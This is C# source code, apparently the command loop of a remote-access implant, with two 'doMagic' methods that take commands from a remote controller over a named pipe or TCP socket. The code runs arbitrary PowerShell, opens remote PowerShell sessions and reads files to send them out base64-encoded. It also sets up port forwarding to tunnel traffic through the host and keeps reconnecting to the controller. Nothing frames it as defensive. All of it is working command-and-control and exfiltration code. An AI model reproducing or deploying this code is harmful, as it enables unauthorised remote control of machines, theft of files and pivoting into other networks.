private void doMagic(PipeStream pipe)
{
//init
PsRun myPsRun = new PsRun();
myPsRun.init();
string command_tag;
string command;
while (true)
{
Console.WriteLine("[*] Waiting for pip message");
var messageBytes = ReadPipMessage(pipe);
command_tag = Encoding.UTF8.GetString(messageBytes);
Console.WriteLine("[*] Tag Received: {0}", command_tag);
//ack
byte[] msg = Encoding.UTF8.GetBytes("COMMAND_TAG_SUCCESS");
pipe.Write(msg, 0, msg.Length);
Console.WriteLine("[*] Ack Sent..");
messageBytes = ReadPipMessage(pipe);
command = Encoding.UTF8.GetString(messageBytes);
Console.WriteLine("[*] CMD Received: {0}", command);
//ack
msg = Encoding.UTF8.GetBytes("COMMAND_SUCCESS");
pipe.Write(msg, 0, msg.Length);
Console.WriteLine("[*] Ack Sent..");
if (command_tag.ToLower() == "ps" || command_tag.ToLower() == "powershell")
{
string psresult = "";
try
{
psresult = myPsRun.doPsRun(command);
}
catch (Exception e)
{
psresult = psresult + "[ERROR]: " + e.Message;
}
try
{
msg = Encoding.UTF8.GetBytes(psresult);
pipe.Write(msg, 0, msg.Length);
messageBytes = ReadPipMessage(pipe);
//ack
var psAck = Encoding.UTF8.GetString(messageBytes);
Console.WriteLine("[DEBUG] ACK msg: " + psAck);
if (psAck == "PSRUN_SUCCESS")
{
Console.WriteLine("[PsRun] Success");
}
else
{
Console.WriteLine("[PsRun] Failed ...");
}
}
catch
{
Console.WriteLine("[!] Pipe is broken!");
//do something to restore
}
}//end of if ps
if (command_tag.ToLower() == "exit")
{
break;
}
}//end of while
}
private void doMagic(Socket sender, IPEndPoint remoteEP, Socket listener)
{
byte[] bytes = new byte[1024];
string command_tag;
string command;
//init
PsRun myPsRun = new PsRun();
myPsRun.init();
while (true)
{
try
{
Console.WriteLine("Waiting for command tag ...");
//int bytesRec = sender.Receive(bytes);
//command_tag = Encoding.UTF8.GetString(bytes, 0, bytesRec);
command_tag = doRecive(sender);
Console.WriteLine("Recieved Command tag: {0}", command_tag);
byte[] msg = Encoding.UTF8.GetBytes(MsgPack("COMMAND_TAG_SUCCESS"));
int bytesSent = sender.Send(msg);
if (bytesSent != msg.Length)
{
Console.WriteLine("[DEBUG] Something wrong with send");
}
Console.WriteLine("Finished sending ACK tag");
Console.WriteLine("Trying to get commands ... ");
//bytesRec = sender.Receive(bytes);
//command = Encoding.UTF8.GetString(bytes, 0, bytesRec);
command = doRecive(sender);
Console.WriteLine("Recieved Command: {0}", command);
msg = Encoding.UTF8.GetBytes(MsgPack("COMMAND_SUCCESS"));
bytesSent = sender.Send(msg);
if (bytesSent != msg.Length)
{
Console.WriteLine("[DEBUG] Something wrong with send");
}
//check command
if (command_tag.ToLower() == "ps" || command_tag.ToLower() == "powershell")
{
string psresult = "";
try
{
psresult = myPsRun.doPsRun(command);
}
catch (Exception e)
{
psresult = psresult + "[ERROR]: " + e.Message;
}
Console.WriteLine("[DEBUG] cmd executed ...");
msg = Encoding.UTF8.GetBytes(MsgPack(psresult));
bytesSent = sender.Send(msg);
if (bytesSent != msg.Length)
{
Console.WriteLine("[DEBUG] Something wrong with send"); //should never happen
}
Console.WriteLine("Send result finished");
//get success ack
//bytesRec = sender.Receive(bytes);
//string psAck = Encoding.UTF8.GetString(bytes, 0, bytesRec);
string psAck = doRecive(sender);
Console.WriteLine("[DEBUG] ACK msg: " + psAck);
if (psAck == "PSRUN_SUCCESS")
{
Console.WriteLine("[PsRun] Success");
}
else
{
Console.WriteLine("[PsRun] Failed ...");
}
}
if (command_tag.ToLower() == "psreset")
{
myPsRun.cleanPsRun = RunspaceFactory.CreateRunspace(); //close it?
myPsRun.init();
Console.WriteLine("[DEBUG] psreset executed ...");
msg = Encoding.UTF8.GetBytes(MsgPack("PSRESET_SUCCESS"));
bytesSent = sender.Send(msg);
if (bytesSent != msg.Length)
{
Console.WriteLine("[DEBUG] Something wrong with send"); //should never happen
}
Console.WriteLine("Send result finished");
}
if (command_tag.ToLower() == "psremote")
{
string reStr = myPsRun.remoteInit(command);
if (reStr == "PSREMOTE_SUCCESS")
{
Console.WriteLine("[DEBUG] psremote executed ...");
msg = Encoding.UTF8.GetBytes(MsgPack("PSREMOTE_SUCCESS"));
}
else
{
Console.WriteLine("[DEBUG] psremote executed with error ...");
msg = Encoding.UTF8.GetBytes(MsgPack(reStr));
}
bytesSent = sender.Send(msg);
if (bytesSent != msg.Length)
{
Console.WriteLine("[DEBUG] Something wrong with send"); //should never happen
}
Console.WriteLine("Send result finished");
}
if (command_tag.ToLower() == "download")
{
byte[] t_file;
try
{
string toSend = Convert.ToBase64String(File.ReadAllBytes(command));
string toSendPack = "";
foreach (string subToSend in SplitByLength(toSend, 1024 * 1024))
{
toSendPack = toSendPack + MsgPack(subToSend);
}
toSendPack = toSendPack + MsgPack("DL_SUCCESS"); //ack
t_file = Encoding.UTF8.GetBytes(toSendPack);
}catch (Exception e)
{
t_file = Encoding.UTF8.GetBytes(MsgPack(e.Message) + MsgPack("DL_SUCCESS")); //maybe need to ensure its not a "single word"
}
//send bytes
//its possible for this to timeout ...
var bytpeSentTotal = 0;
var packSize = 0;
while (bytpeSentTotal < t_file.Length)
{
if (t_file.Length - bytpeSentTotal > 10240)
{
packSize = 10240;
}
else
{
packSize = t_file.Length - bytpeSentTotal;
}
bytesSent = sender.Send(t_file, bytpeSentTotal, packSize, 0);
bytpeSentTotal = bytpeSentTotal + bytesSent;
//Thread.Sleep(50);
}
//ack
string psAck = doRecive(sender);
Console.WriteLine("[DEBUG] ACK msg: " + psAck);
if (psAck == "DL_SUCCESS")
{
Console.WriteLine("[Down] Success");
}
else
{
Console.WriteLine("[Down] Failed ...");
}
}
if (command_tag.ToLower() == "fwc")
{
//assume command is rhuuid:ip:port string
string[] subs = command.Split(':');
fwEndPoint.Add(subs[0], subs[1] + ':' + subs[2]);
//Console.WriteLine("subs[0]: " + subs[0]);
//Console.WriteLine("subs[1]: " + subs[1]);
//Console.WriteLine("subs[2]: " + subs[2]);
Thread t = new Thread(new ParameterizedThreadStart(StartClientNative));
t.Start(subs[0]);
Console.WriteLine("[DEBUG] fw executed ...");
msg = Encoding.UTF8.GetBytes(MsgPack("FW_SUCCESS"));
bytesSent = sender.Send(msg);
if (bytesSent != msg.Length)
{
Console.WriteLine("[DEBUG] Something wrong with send"); //should never happen
}
Console.WriteLine("Send result finished");
}
if (command_tag.ToLower() == "fw")
{
//assume command is rhuuid:ip:port string
string[] subs = command.Split(':');
fwEndPoint.Add(subs[0], subs[1] + ':' + subs[2]);
//Console.WriteLine("subs[0]: " + subs[0]);
//Console.WriteLine("subs[1]: " + subs[1]);
//Console.WriteLine("subs[2]: " + subs[2]);
Thread t = new Thread(new ParameterizedThreadStart(StartServerNative));
t.Start(subs[0]);
Console.WriteLine("[DEBUG] fw executed ...");
msg = Encoding.UTF8.GetBytes(MsgPack("FW_SUCCESS"));
bytesSent = sender.Send(msg);
if (bytesSent != msg.Length)
{
Console.WriteLine("[DEBUG] Something wrong with send"); //should never happen
}
Console.WriteLine("Send result finished");
}
if (command_tag.ToLower() == "pfw-update")
{
string rhuuid = command;
bool found = false;
//Console.WriteLine("rhuuid: " + rhuuid);
//Console.WriteLine("=========print the listener_running =========");
//foreach (KeyValuePair<string, bool> test in listener_running)
//{
// Console.WriteLine("Key = {0}, Value = {1}", test.Key, test.Value);
//}
//Console.WriteLine("=========print the listener_running =========");
if (rh_running.ContainsKey(rhuuid))
{
Console.WriteLine("rhuuid found ...");
Console.WriteLine("Socket mode: " + sender.Blocking.ToString());
foreach (Guid chuuid in fwMapping[rhuuid])
{
if (ifAcked[chuuid] == false)
{
//send ack
found = true;
ifAcked[chuuid] = true;
//send rh
byte[] rh_msg = Encoding.UTF8.GetBytes(MsgPack(rhuuid));
bytesSent = sender.Send(rh_msg);
if (bytesSent != rh_msg.Length)
{
Console.WriteLine("[DEBUG] Something wrong with send"); //should never happen
}
//send ch
byte[] ch_msg = Encoding.UTF8.GetBytes(MsgPack(chuuid.ToString()));
bytesSent = sender.Send(ch_msg);
if (bytesSent != ch_msg.Length)
{
Console.WriteLine("[DEBUG] Something wrong with send"); //should never happen
}
//do single read and write
Console.WriteLine("Doing read and write");
string str_fwq_msg = doReciveNative(chuuid);
if (str_fwq_msg.Length == 0 && fwSocket_alive[chuuid] == false)
{
str_fwq_msg = "FW_CH_FINED";
}
if (str_fwq_msg.Length == 0 && fwSocket_alive[chuuid] == true)
{
str_fwq_msg = "FW_CH_NODATA";
}
Console.WriteLine("read and writed Finished ...");
byte[] fwq_msg = Encoding.UTF8.GetBytes(MsgPack(str_fwq_msg));
//send data
bytesSent = sender.Send(fwq_msg);
if (bytesSent != fwq_msg.Length)
{
Console.WriteLine("[DEBUG] Something wrong with send"); //should never happen
}
Console.WriteLine("Send success ...");
if (str_fwq_msg != "FW_CH_FINED") //no send back if FW_CH_FINED
{
string fwq_string_tosend = doRecive(sender);
Console.WriteLine("Got reponse: " + fwq_string_tosend);
if (fwSocket_alive[chuuid] && fwq_string_tosend.Length != 0)
{
int length_tosend = fwSocket[chuuid].Send(Encoding.UTF8.GetBytes(fwq_string_tosend));
Console.WriteLine("Response sent");
}
else if (fwSocket_alive[chuuid] && fwq_string_tosend.Length == 0)
{
Console.WriteLine("Dummy Response ...");
}
else
{
Console.WriteLine("fwSocket may still receiving ... ");
if (SocketConnected(fwSocket[chuuid]))
{
Console.WriteLine("fwSocket still connected ... ");
int length_tosend = fwSocket[chuuid].Send(Encoding.UTF8.GetBytes(fwq_string_tosend));
Console.WriteLine("Response sent");
}
else
{
Console.WriteLine("fwSocket does not want response ... ");
}
fwSocket[chuuid].Shutdown(SocketShutdown.Send);
fwSocket[chuuid].Close(1000);
}
}
else
{
Console.WriteLine("Clean up ...");
fwSocket[chuuid].Shutdown(SocketShutdown.Both);
fwSocket[chuuid].Close();
}
break;
} //end of if
} //end of fow
if (!found)
{
Console.WriteLine("Send back not ready ...");
//send not ready
//send rh
byte[] rh_msg = Encoding.UTF8.GetBytes(MsgPack(rhuuid));
bytesSent = sender.Send(rh_msg);
if (bytesSent != rh_msg.Length)
{
Console.WriteLine("[DEBUG] Something wrong with send"); //should never happen
}
//send ch
byte[] ch_msg = Encoding.UTF8.GetBytes(MsgPack("FW_NOTREADY"));
bytesSent = sender.Send(ch_msg);
if (bytesSent != ch_msg.Length)
{
Console.WriteLine("[DEBUG] Something wrong with send"); //should never happen
}
//send data
byte[] data_msg = Encoding.UTF8.GetBytes(MsgPack("dummy"));
bytesSent = sender.Send(data_msg);
if (bytesSent != data_msg.Length)
{
Console.WriteLine("[DEBUG] Something wrong with send"); //should never happen
}
Console.WriteLine("Not ready sent ...");
} //end of if not found
} //end of if rhuuid in list
else
{
Console.WriteLine("Unknown rhuuid ...");
}
}
if (command_tag.ToLower() == "pfw-close")
{
//server FINed
//convert string to uuid
Guid chuuid = new Guid(command);
if (fwSocket_alive[chuuid] == true)
{
Console.WriteLine("Clean up ...");
//might need locks
try
{
fwSocket[chuuid].Shutdown(SocketShutdown.Both);
fwSocket[chuuid].Close();
}
catch
{
}
}
//FW_CH_CLOSE_SUCCESS
msg = Encoding.UTF8.GetBytes(MsgPack("FW_CH_CLOSE_SUCCESS"));
bytesSent = sender.Send(msg);
if (bytesSent != msg.Length)
{
Console.WriteLine("[DEBUG] Something wrong with send"); //should never happen
}
Console.WriteLine("Clean up finished");
}
if (command_tag.ToLower() == "fwq") //should always ready
{
//convert string to uuid
Guid chuuid = new Guid(command);
//send rh
byte[] rh_msg = Encoding.UTF8.GetBytes(MsgPack(fwMapping_revs[chuuid]));
bytesSent = sender.Send(rh_msg);
if (bytesSent != rh_msg.Length)
{
Console.WriteLine("[DEBUG] Something wrong with send"); //should never happen
}
if (fwSocket_alive[chuuid] == false)
{
//already FINed
//send ch
byte[] fin_ch_msg = Encoding.UTF8.GetBytes(MsgPack(chuuid.ToString()));
bytesSent = sender.Send(fin_ch_msg);
if (bytesSent != fin_ch_msg.Length)
{
Console.WriteLine("[DEBUG] Something wrong with send"); //should never happen
}
//send FW_CH_FINED
byte[] fin_data_msg = Encoding.UTF8.GetBytes(MsgPack("FW_CH_FINED"));
bytesSent = sender.Send(fin_data_msg);
if (bytesSent != fin_data_msg.Length)
{
Console.WriteLine("[DEBUG] Something wrong with send"); //should never happen
}
continue;
}
//send ch
byte[] ch_msg = Encoding.UTF8.GetBytes(MsgPack(chuuid.ToString()));
bytesSent = sender.Send(ch_msg);
if (bytesSent != ch_msg.Length)
{
Console.WriteLine("[DEBUG] Something wrong with send"); //should never happen
}
//do single read and write
Console.WriteLine("Doing read and write");
string str_fwq_msg = doReciveNative(chuuid);
if (str_fwq_msg.Length == 0 && fwSocket_alive[chuuid] == false)
{
str_fwq_msg = "FW_CH_FINED";
}
if (str_fwq_msg.Length == 0 && fwSocket_alive[chuuid] == true)
{
str_fwq_msg = "FW_CH_NODATA";
}
byte[] fwq_msg = Encoding.UTF8.GetBytes(MsgPack(str_fwq_msg));
//send data
bytesSent = sender.Send(fwq_msg);
if (bytesSent != fwq_msg.Length)
{
Console.WriteLine("[DEBUG] Something wrong with send"); //should never happen
}
Console.WriteLine("Send success ...");
if (str_fwq_msg != "FW_CH_FINED") //no send back if FW_CH_FINED
{
string fwq_string_tosend = doRecive(sender);
Console.WriteLine("Got reponse: " + fwq_string_tosend);
if (fwSocket_alive[chuuid] && fwq_string_tosend.Length != 0)
{
int length_tosend = fwSocket[chuuid].Send(Encoding.UTF8.GetBytes(fwq_string_tosend));
Console.WriteLine("Response sent");
}
else if (fwSocket_alive[chuuid] && fwq_string_tosend.Length == 0)
{
Console.WriteLine("Dummy Response ...");
}
else
{
Console.WriteLine("fwSocket may still receiving ... ");
if (SocketConnected(fwSocket[chuuid]))
{
Console.WriteLine("fwSocket still connected ... ");
int length_tosend = fwSocket[chuuid].Send(Encoding.UTF8.GetBytes(fwq_string_tosend));
Console.WriteLine("Response sent");
}
else
{
Console.WriteLine("fwSocket does not want response ... ");
}
fwSocket[chuuid].Shutdown(SocketShutdown.Send);
fwSocket[chuuid].Close(1000);
}
}
else
{
Console.WriteLine("Clean up ...");
fwSocket[chuuid].Shutdown(SocketShutdown.Both);
fwSocket[chuuid].Close();
}
}
if (command_tag.ToLower() == "exit")
{
msg = Encoding.UTF8.GetBytes(MsgPack("EXIT_SUCCESS"));
bytesSent = sender.Send(msg);
if (bytesSent != msg.Length)
{
Console.WriteLine("[DEBUG] Something wrong with send");
}
sender.Shutdown(SocketShutdown.Send);
string ack = doRecive(sender);
if (ack == "EXIT_SUCCESS")
{
Console.WriteLine("[EXIT] Success ... ");
}
else
{
Console.WriteLine("[DEBUG] Something wrong with exit");
}
sender.Close(1000);
Console.WriteLine("Closed ... ");
break;
}
}
catch (SocketException se)
{
Console.WriteLine("SocketException : {0}", se.ToString());
//keep reconnect
while (true)
{
try
{
if (listener == null)
{
sender = new Socket(remoteEP.AddressFamily, SocketType.Stream, ProtocolType.Tcp);
sender.Connect(remoteEP);
break;
}
else
{
listener.Listen(1);
Console.WriteLine("Waiting for a connection...");
sender = listener.Accept();
break;
}
}
catch //(SocketException se_inner)
{
Console.WriteLine("Keep trying ...");
}
}
}
}//end of while
}
